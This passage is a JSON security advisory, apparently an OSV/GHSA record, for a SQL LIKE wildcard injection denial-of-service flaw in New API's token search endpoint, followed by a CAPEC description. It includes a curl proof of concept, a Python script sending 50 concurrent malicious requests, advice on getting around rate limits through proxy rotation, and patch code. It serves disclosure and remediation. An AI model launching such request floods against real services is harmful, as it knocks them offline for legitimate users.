"CVE-2026-25591"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-23T21:56:47Z",
"nvd_published_at": "2026-02-24T01:16:13Z",
"severity": "HIGH"
},
"details": "### Summary\nA SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.\n\n### Details\nThe token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries.\n\n### Vulnerable Code\nFile: `model/token.go:70`\n```go\nerr = DB.Where(\"user_id = ?\", userId).\n Where(\"name LIKE ?\", \"%\"+keyword+\"%\"). // No wildcard escaping\n Where(commonKeyCol+\" LIKE ?\", \"%\"+token+\"%\").\n Find(\u0026tokens).Error\n```\n\n### PoC\n\nAfter creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.\n\n\u003cimg width=\"1636\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6\" /\u003e\n\nThese data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:\n\n```bash\n# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.\ncurl \u0027http://localhost:3000/api/token/search?keyword=%\u0026token=\u0027\n```\n\n\u003cimg width=\"491\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124\" /\u003e\n\nIt will cause DoS.\n\n```python\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef attack(session_cookie):\n requests.get(\n \u0027http://localhost:3000/api/token/search\u0027,\n params={\u0027keyword\u0027: \u0027%_%_%_%_%_%\u0027, \u0027token\u0027: \u0027\u0027},\n cookies={\u0027session\u0027: session_cookie},\n headers={\u0027New-API-User\u0027: \u00271\u0027}\n )\n\n# Launch 50 concurrent malicious requests\nwith ThreadPoolExecutor(max_workers=50) as executor:\n for _ in range(50):\n executor.submit(attack, \u0027\u003cvalid_session\u003e\u0027)\n```\n\n### Impact\n**Availability**\n\nRAM Overflow\n\n\u003cimg width=\"1078\" height=\"145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149\" /\u003e\n\nPostgres unavailable\n\n\u003cimg width=\"772\" height=\"185\" alt=\"image\" src=\"https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b\" /\u003e\n\n- Database CPU usage spike to 100%\n- Application memory exhaustion\n- Legitimate user requests blocked or significantly delayed\n- Potential application crash or database connection pool exhaustion\n\n### Database Performance\n\nTesting with 2,000,000 tokens:\n\n| Pattern | Query Time | Rows | Impact |\n|---------|-----------|------|--------|\n| `test` (normal) | ~50ms | 0 | Low |\n| `%` (full scan) | 5,973ms | 2,000,000 | High |\n| `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High |\n\n### Attack Scalability\n\n- **Single attacker**: Can launch 10-50 concurrent requests easily\n- **Multiple accounts**: Attacker can register multiple accounts (if registration enabled)\n- **Proxy rotation**: IP-based rate limiting can be bypassed\n- **Persistence**: Attack can be sustained indefinitely\n\n### Resource Consumption\n\nEach malicious request with 2M results:\n- **Database**: ~6 seconds CPU time\n- **Network**: ~200MB data transfer\n- **Application Memory**: ~200MB+ for JSON serialization\n- **Connection Time**: Database connection held for entire query duration\n\n## Exploitation Scenario\n\n1. Attacker registers or compromises a regular user account\n2. Attacker crafts malicious LIKE patterns using `%` wildcards\n3. Attacker launches concurrent requests (50-200 concurrent)\n4. Database becomes overwhelmed with slow queries\n5. Application memory exhausts from processing large result sets\n6. Legitimate users experience service degradation or complete unavailability\n\n ## Patch Recommendations\n### 1. Escape LIKE Wildcards (Critical)\n```go\nfunc escapeLike(s string) string {\n s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n s = strings.ReplaceAll(s, \"%\", \"\\\\%\")\n s = strings.ReplaceAll(s, \"_\", \"\\\\_\")\n return s\n}\n\nfunc SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {\n keyword = escapeLike(keyword)\n token = strings.Trim(token, \"sk-\")\n token = escapeLike(token)\n\n err = DB.Where(\"user_id = ?\", userId).\n Where(\"name LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+keyword+\"%\").\n Where(commonKeyCol+\" LIKE ? ESCAPE \u0027\\\\\\\\\u0027\", \"%\"+token+\"%\").\n Limit(1000).\n Find(\u0026tokens).Error\n return tokens, err\n}\n```\n\n### 2. Add User-Level Rate Limiting\n```go\ntokenRoute.GET(\"/search\",\n middleware.TokenSearchRateLimit(), // 30 req/min per user\n controller.SearchTokens)\n```\n\n### 3. Add Query Timeout\n```go\nctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\ndefer cancel()\nerr = DB.WithContext(ctx).Where(...).Find(\u0026tokens).Error\n```",
"id": "GHSA-w6x6-9fp7-fqm4",
"modified": "2026-02-27T21:42:31Z",
"published": "2026-02-23T21:56:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-w6x6-9fp7-fqm4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25591"
},
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/commit/3e1be18310f35d20742683ca9e4bf3bcafc173c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/QuantumNous/new-api"
},
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/releases/tag/v0.10.8-alpha.10"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4531"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "New API has an SQL LIKE Wildcard Injection DoS via Token Search"
}
No mitigation information available for this CWE.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.